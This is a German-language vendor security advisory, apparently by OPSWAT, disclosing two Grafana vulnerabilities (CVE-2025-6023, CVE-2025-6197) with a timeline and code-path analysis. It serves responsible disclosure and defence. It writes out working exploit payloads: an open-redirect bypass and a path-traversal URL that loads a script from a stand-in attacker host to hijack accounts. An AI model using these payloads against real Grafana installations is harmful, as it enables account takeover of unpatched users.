Grafana ist eine führende Open-Source-Plattform für Datenvisualisierung, -analyse und -überwachung, mit der Benutzer interaktive Dashboards erstellen können, indem sie Daten aus verschiedenen Quellen zusammenführen. Mit über 68.000 Sternen auf GitHub und Millionen von Downloads über Docker Hub und andere Repositories hat sich Grafana zu einer wichtigen Komponente in modernen Monitoring-Stacks in allen Branchen entwickelt.
Die weite Verbreitung und die entscheidende Rolle bei der Überwachung von Infrastrukturen machen Grafana zu einem bevorzugten Ziel für Bedrohungsakteure. Seine Absicherung ist entscheidend für den Schutz der Integrität und Verfügbarkeit von Überwachungsumgebungen in Unternehmen.
Bei OPSWAT tragen wir aktiv zur Sicherheitsgemeinschaft bei, indem wir Schwachstellen in weit verbreiteten Plattformen wie Grafana erforschen und verantwortungsbewusst offenlegen. Im Jahr 2021 wurde mit CVE-2021-39226 eine kritische Schwachstelle von TheBlackTurtle, einem Mitglied der OPSWAT 515, entdeckt und verantwortungsvoll veröffentlicht .
Zusätzlich zu diesen Beiträgen fördert OPSWAT auch die nächste Generation von Talenten im Bereich der Cybersicherheit durch praktische Ausbildungsinitiativen. Ein solches Programm ist das OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship Program, das Studenten praktische Erfahrungen bei der Identifizierung und Analyse von realen Sicherheitsbedrohungen vermittelt. Im Rahmen dieses Programms wurde eine neue kritische Sicherheitslücke in Grafana, CVE-2025-6023, von einem unserer Stipendiaten während eines unabhängigen Forschungsprojekts entdeckt
OPSWAT und Entdeckung kritischer Schwachstellen
Das OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship Program, das in Vietnam angesiedelt ist, bietet Studenten mit Hochschulabschluss praktische Erfahrungen bei der Sicherung kritischer Infrastrukturen. Die Stipendiaten arbeiten aktiv mit den OPSWAT zusammen, um reale Herausforderungen in den Bereichen Malware-Erkennung, Dateisicherheit und Bedrohungsabwehr anzugehen.
Im Rahmen dieses strengen Programms recherchieren, reproduzieren und analysieren die Teilnehmer systematisch bekannte Schwachstellen (CVEs) in einer Vielzahl von Softwareprodukten, Bibliotheken und Betriebssystemen unter der Anleitung von OPSWAT . Hoa X. Nguyen, einer unserer ausgezeichneten Stipendiaten, wählte Grafana als Schwerpunkt für sein primäres Forschungsprojekt.
Im Juni 2025 identifizierte Hoa X. Nguyen bei einer eingehenden Überprüfung von CVE-2025-4123 und einer tieferen Analyse des Quellcodes von Grafana eine bisher unbekannte Schwachstelle innerhalb der Plattform. Das Problem bestand in der Verkettung eines offenen Umleitungsfehlers mit einer clientseitigen Pfadüberquerungsschwachstelle (CSPT), was letztlich zu Cross-Site-Scripting (XSS) und einer vollständigen Kontoübernahme über einen anderen Endpunkt in Grafana führte.
In enger Zusammenarbeit mit Unit 515 entdeckten wir nicht nur eine, sondern zwei separate Exploit-Ketten, die jeweils zu einer vollständigen Kompromittierung des Kontos führen können.
OPSWAT leistete weiterhin einen aktiven Beitrag, indem es die Schwachstellen verantwortungsbewusst an Grafana meldete. Die Probleme wurden umgehend bestätigt und Patches wurden in nachfolgenden Versionen veröffentlicht. Diese Schwachstellen wurden später als CVE-2025-6023 und CVE-2025-6197 eingestuft und sind seitdem in der National Vulnerability Database (NVD) öffentlich aufgeführt.
CVE-2025-6023 & CVE-2025-6197 Zeitleiste
- 11. Juni 2025:Hoa X. Nguyen hat eine Schwachstelle in der neuesten Version von Grafana identifiziert und einen Sicherheitsbericht an Grafana übermittelt.
- 11. Juni 2025: Nach einer Diskussion hat Grafana die Schwachstelle bestätigt und CVE-2025-6023 mit hohem Schweregrad zugewiesen.
- 17. Juni 2025:Dat Phung von Unit 515 arbeitete eng mit Hoa X. Nguyen zusammen und entdeckte eine weitere Angriffskette, die die Sicherheitslücke ausnutzt.
- 17. Juni 2025: Grafana hat die zweite Schwachstelle bestätigt und CVE-2025-6197 mit mittlerem Schweregrad zugewiesen.
- 17. Juli 2025: Grafana veröffentlicht 12.0.2+security-01, 11.6.3+security-01, 11.5.6+security-01, 11.4.6+security-01 und 11.3.8+security-01 und führt einen verbesserten Patch ein, der diese Schwachstellen effektiv behebt.
- 18. Juli 2025: Die National Vulnerability Database (NVD) veröffentlicht offiziell CVE-2025-6023 und CVE-2025-6197.


Technische Analyse des unvollständigen Patches und CVE-2025-6023
Im Mai 2025 wurde CVE-2025-4123, eine hochgradig gefährliche Schwachstelle in Grafana, von Alvaro Balada bekannt gegeben. Die Schwachstelle kombinierte clientseitigen Pfad-Traversal mit einer offenen Umleitung, wodurch Angreifer bösartige Front-End-Plugins bereitstellen konnten, die beliebiges JavaScript innerhalb des vertrauenswürdigen Kontexts von Grafana ausführen, was zu einer vollständigen Übernahme des Kontos führte. In Fällen, in denen der anonyme Zugriff aktiviert war, war keine Authentifizierung erforderlich. Wenn das Grafana Image Renderer-Plugin installiert war, konnte der Exploit zudem zu SSRF eskalieren und interne Dienste oder Cloud-Metadaten offenlegen.
Grafana hat das Problem im Mai 2025 mit Sicherheitsupdates behoben und Patches in den Versionen 12.0.0+security01, 11.6.1+security01 und anderen Versionen der Zweige 10.x-11.x eingeführt. Die Korrekturen umfassten Verbesserungen der Content Security Policy (CSP) und eine strengere Sanitisierung von Weiterleitungen.
Im Rahmen des OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship Program führte Hoa X. Nguyen eine umfassende Analyse von CVE-2025-4123 durch. Seine Forschung umfasste das Reverse-Engineering des Exploit-Flows und die Bewertung der Wirksamkeit des bereitgestellten Patches. Während dieser Untersuchung stellte Hoa fest, dass, obwohl die Schwachstelle grundsätzlich eine Kombination aus offener Umleitung und clientseitigem Pfad-Traversal ist, der Patch für CVE-2025-4123 nur die offene Umleitung im staticHandler adressiert, und zwar durch eine Datenbereinigungsprüfung, die in Commit {ff20b06} eingeführt wurde .

Diese teilweise Entschärfung ließ jedoch den Hauptangriffsvektor unangetastet. Das zugrundeliegende Risiko blieb bestehen: Wenn ein Angreifer einen alternativen Endpunkt identifizieren könnte , der für offene Weiterleitungen anfällig ist, könnte dieselbe Exploit-Kette weiterhin bestehen und zur vollständigen Übernahme eines Kontos genutzt werden - auch nach dem Patch. Mit dieser Hypothese im Hinterkopf führte Hoa eine gründliche Überprüfung des Quellcodes von Grafana durch. Dabei identifizierte er erfolgreich einen weiteren verwundbaren Endpunkt: /user/auth-tokens/rotate.
Dieser Endpunkt dient dazu, abgelaufene Authentifizierungs-Tokens zu erneuern. Ein Abfrageparameter redirectTo wird verwendet, um den Benutzer zur Zielseite zu leiten, nachdem das Token erfolgreich erneuert wurde.

Bei einer typischen Implementierung wird die Umleitungs-URL durch Verkettung des Cfg.AppSubURL-Konfigurationswerts mit dem vom Benutzer bereitgestellten redirectTo-Parameter erstellt. In der Standardkonfiguration von Grafana ist AppSubURL jedoch undefiniert. Infolgedessen verlässt sich die Anwendung bei der Bildung des Umleitungspfads ausschließlich auf den Rohwert von redirectTo.
Therefore, when an authenticated user accesses the /user/auth-tokens/rotate?redirectTo=<value> endpoint, the server responds with a 302 Redirect and includes a Location: <value> header.
Für diesen Umleitungsmechanismus versucht Grafana, Sicherheitsrisiken im Zusammenhang mit Benutzereingaben durch eine Validierungsfunktion namens ValidateRedirectTo zu reduzieren, die unsichere Umleitungsziele - wie solche, die mit //example.com beginnen - blockieren soll, indem sie doppelte Schrägstriche am Anfang des Pfades verbietet:

Wie in Alvaro Baladas Forschungsarbeit gezeigt wurde, kann diese Funktion jedoch mit einem Schrägstrich gefolgt von einem umgekehrten Schrägstrich umgangen werden (z. B. /\example.com), was von modernen Browsern ähnlich interpretiert wird wie //example.com. Folglich kann die folgende Nutzlast verwendet werden, um eine offene Weiterleitung zu erreichen, vorausgesetzt, der Benutzer ist authentifiziert:
/user/auth-tokens/rotate?redirectTo=/\example.com

Diese Feststellung von Hoa X. Nguyen - zusammen mit der unvollständigen Behebung von CVE-2025-4123 - zeigt, dass eine vollständige Übernahme von Grafana-Konten weiterhin möglich ist.
Als OPSWAT diesen Bypass entdeckte, meldete es das Problem umgehend an das Grafana-Entwicklungsteam. Als Reaktion darauf hatte Grafana die vorherige Abschwächung durch interne Diskussionen bereits als unvollständig identifiziert und geplant, das Problem in einer kommenden Version vor unserem Bericht zu beheben. Infolgedessen wurde unser Bericht mit der Zuweisung einer neuen CVE für die aufgedeckte offene Redirect-Schwachstelle akzeptiert, die mit mittlerem Schweregrad eingestuft wurde.
CVE-2025-6023: Eine neue Exploit-Kette, die eine vollständige Kontoübernahme ermöglicht
CVE-2025-4123 wies ursprünglich auf eine clientseitige Pfadüberquerungsschwachstelle (CSPT) in der Front-End-Plugin-Anwendung von Grafana hin. In seinem ersten Bericht kombinierte Hoa X. Nguyen dieses bekannte CSPT-Problem mit einer neu entdeckten offenen Redirect-Schwachstelle, um eine effektive Exploit-Kette zu erstellen. Trotz der aufgezeigten kritischen Auswirkungen wurde die Schwachstelle nur als mittelschwer eingestuft, da Grafana intern bereits vor der Offenlegung von CSPT die Unvollständigkeit des Patches eingeräumt hatte.
Dies veranlasste zu einer eingehenderen Untersuchung, ob innerhalb der Grafana-Codebasis weitere CSPT-Schwachstellen existieren, die - in Kombination mit der neu entdeckten offenen Redirect-Schwachstelle - eine völlig unabhängige Exploit-Kette ermöglichen könnten. Wenn eine solche CSPT-Schwachstelle auf einem anderen Endpunkt gefunden würde, könnte dies die Zuweisung des gleichen hohen Schweregrads wie CVE-2025-4123 rechtfertigen.
Entdeckung eines neuen gefährdeten Endpoint
Motiviert durch diese Hypothese führte Hoa eine gründliche Überprüfung des Quellcodes von Grafana durch. Während dieser Analyse identifizierte er einen zusätzlichen verwundbaren Endpunkt, der den dynamischen Abruf und die Ausführung von Skripten aus beliebigen Quellen ermöglichte - ohne ordnungsgemäße Validierung oder Bereinigung von Eingaben. Dieses unsichere Verhalten steht im Zusammenhang mit der Dashboard-Skripting-Funktionalität von Grafana, die insbesondere über den folgenden Pfad verwaltet wird:
/dashboard/:typ/:slug
Diese Route wird von einer Middleware verarbeitet, die für die Handhabung von Dashboard-Skripten zuständig ist. Insbesondere wird der Parameter :slug verwendet, um Skripte dynamisch zu laden und auszuführen - ohne ordnungsgemäße Bereinigung -, wodurch Angreifer bösartige URLs erstellen und möglicherweise eine ähnliche Exploit-Kette wie in CVE-2025-4123 erzeugen können.
Analyse des Dashboard-Scripting-Mechanismus
Grafanas Dashboard-Skripting-Mechanismus nutzt die DashboardPageProxy-Komponente, um Anfragen zu behandeln, die der Route /dashboard/:type/:slug entsprechen:

Innerhalb des DashboardPageProxy läuft der Ausführungsfluss wie folgt ab:

Das von DashboardPageProxy zurückgegebene Ergebnis ergibt sich aus der Ausführung der Methode stateManager.fetchDashboard(), die die aus dem URL-Pfad extrahierten Parameter uid, type und slug entgegennimmt. Um zu analysieren, wie diese Antwort aufgebaut ist, hat Hoa X. Nguyen das stateManager-Objekt und die Logik innerhalb seiner fetchDashboard() -Methode untersucht. Der stateManager wird über die Funktion getDashboardScenePageStateManager() instanziiert, die in der folgenden Datei definiert ist:
/public/app/features/dashboard-scene/pages/DashboardScenePageStateManager.ts

Da der stateManager durch den Aufruf der Funktion getDashboardScenePageStateManager() ohne Argumente initialisiert wird, wie in Abbildung 2 dargestellt, kann man daraus schließen, dass das zurückgegebene Objekt eine Instanz der Klasse UnifiedDashboardScenePageStateManager ist.
Um das Verhalten der Methode fetchDashboard() zu verstehen, analysierte er ihre Implementierung in der Klasse UnifiedDashboardScenePageStateManager:

Innerhalb der Klasse UnifiedDashboardScenePageStateManager ruft die Methode fetchDashboard() zunächst die Funktion withVersionHandling() auf. Diese Funktion ist für die Ermittlung und Rückgabe der activeManager-Instanz verantwortlich. Sobald der activeManager konstruiert ist, ruft sie die entsprechende fetchDashboard() -Methode für diese Instanz auf und übergibt dabei den entsprechenden Optionsparameter.
Die activeManager-Instanz ist entweder ein DashboardScenePageStateManager oder ein DashboardScenePageStateManagerV2-Objekt. Beide Klassen implementieren eine ähnliche Logik zum Abrufen von Dashboard-Daten. Der folgende Code ist der Klasse DashboardScenePageStateManager entnommen:

Innerhalb der Methode fetchDashboard() der Klasse DashboardScenePageStateManager wird eine Switch-Anweisung verwendet, um die entsprechende Verarbeitungslogik auf der Grundlage des Routentyps zu bestimmen. Im Standardfall ruft die Methode auf:
dashboardLoaderSrv.loadDashboard(type, slug, uid, query)
Dieser Aufruf leitet das Laden des angeforderten Dashboards ein. Die Referenzimplementierung der Funktion loadDashboard() ist in der folgenden Datei zu finden:
/public/app/features/dashboard/services/DashboardLoad

Innerhalb der Funktion loadDashboard() werden mehrere bedingte Prüfungen durchgeführt, um den geeigneten Verarbeitungsablauf zu bestimmen. In dem speziellen Fall, in dem der Typ auf "Skript" eingestellt ist und ein Slug existiert, ruft die Funktion auf:
this.loadScriptedDashboard(slug)
Hier wird der Slug - der direkt aus der Benutzereingabe stammt - als Parameter an die Methode loadScriptedDashboard() übergeben. Um den Ausführungsfluss und mögliche Schwachstellen, die durch diesen Aufruf entstehen, zu bewerten, analysierte Hoa die Implementierung von loadScriptedDashboard() innerhalb der Klasse DashboardLoaderSrvBase:

In der Methode loadScriptedDashboard() wird der Parameter slug - wie in Abbildung 2 dargestellt - als Dateiname (String) behandelt und zum Aufbau der url Variable verwendet. Dieser Parameter wird jedoch nicht ordnungsgemäß bereinigt. Die Implementierung wendet einen regulären Ausdruck an, um alle Punkte (.) mit Ausnahme der Zeichen, die unmittelbar von"js" gefolgt werden, durch einen Schrägstrich (/) zu ersetzen. Durch diese teilweise Filterung wird die Eingabe nicht ordnungsgemäß bereinigt, so dass sie anfällig für Pfadmanipulationen und Traversal-Angriffe ist.
Sobald die URL erstellt ist, versucht das Skript, das angegebene Dashboard zu laden, indem es getBackendSrv().get(url) aufruft . Das abgerufene Skript wird dann mit this.executeScript(code) ausgeführt .
Diese Analyse führte Hoa X. Nguyen schließlich dazu, eine neue Client-Side Path Traversal (CSPT)-Schwachstelle in der neuesten Version von Grafana zu identifizieren. Aufgrund der fehlenden Eingabesanitisierung oder -validierung kann ein Angreifer den Slug manipulieren, um eine URL zu erstellen, die ein bösartiges Skript von einer externen Quelle lädt und ausführt - und damit das Kernproblem, das zuvor in CVE-2025-4123 identifiziert wurde, über das Laden von Dashboard-Skripten repliziert.
In Kombination mit der neu entdeckten Open-Redirect-Schwachstelle ermöglicht dieses Problem eine vollständige Exploit-Kette, die eine vollständige Übernahme des Kontos ermöglicht. Nachfolgend ein Beispiel für eine Nutzlast, die diesen Exploit demonstriert:
/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5c<attacker-site><encoded_path>
Zum Beispiel:
/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5cattacker.com%2fpath%2fto%2fmalicious.js
Die Datei "malicious.js " könnte so gestaltet werden, dass sie die E-Mail-Adresse und den Benutzernamen des Opfers in die vom Angreifer kontrollierten Werte ändert. Dies würde es dem Angreifer ermöglichen, einen Prozess zur Zurücksetzung des Passworts auf seine eigene E-Mail-Adresse einzuleiten, was schließlich zur vollständigen Übernahme des Kontos führen würde:

Konzeptnachweis für CVE-2025-6023
Dieses Video zeigt die praktischen Auswirkungen von CVE-2025-6023 und demonstriert ein vollständiges Kontoübernahme-Szenario, das Grafana-Benutzer betrifft und von Hoa X. Nguyen, OPSWAT, entdeckt wurde:
Milderung und Anleitung
Um die oben beschriebenen Schwachstellen zu entschärfen, stellen Sie bitte sicher, dass Ihr System auf die neueste Version von Grafana aktualisiert ist.
MetaDefender Core mit SBOM-Engine kann diese Schwachstelle erkennen
OPSWAT MetaDefender Core, ausgestattet mit fortschrittlichen SBOM-FunktionenSoftware Bill of Materials), ermöglicht es Unternehmen, einen proaktiven Ansatz bei der Bewältigung von Sicherheitsrisiken zu verfolgen. Durch das Scannen von Softwareanwendungen und deren Abhängigkeiten identifiziert MetaDefender Core bekannte Schwachstellen, wie CVE-2025-6023 und CVE-2025-6197, innerhalb der aufgelisteten Komponenten. Dies ermöglicht es den Entwicklungs- und Sicherheitsteams, Prioritäten bei den Patching-Maßnahmen zu setzen und potenzielle Sicherheitsrisiken zu minimieren, bevor sie von böswilligen Akteuren ausgenutzt werden können.
Unten sehen Sie einen Screenshot von CVE-2025-6023 und CVE-2025-6197, die von MetaDefender Core mit SBOM entdeckt wurden:

Darüber hinaus können die CVEs auch erkannt werden von MetaDefender Software Supply Chainerkannt werden, das MetaDefender Core mit SBOM nutzt, um diese Schwachstellen zu identifizieren.

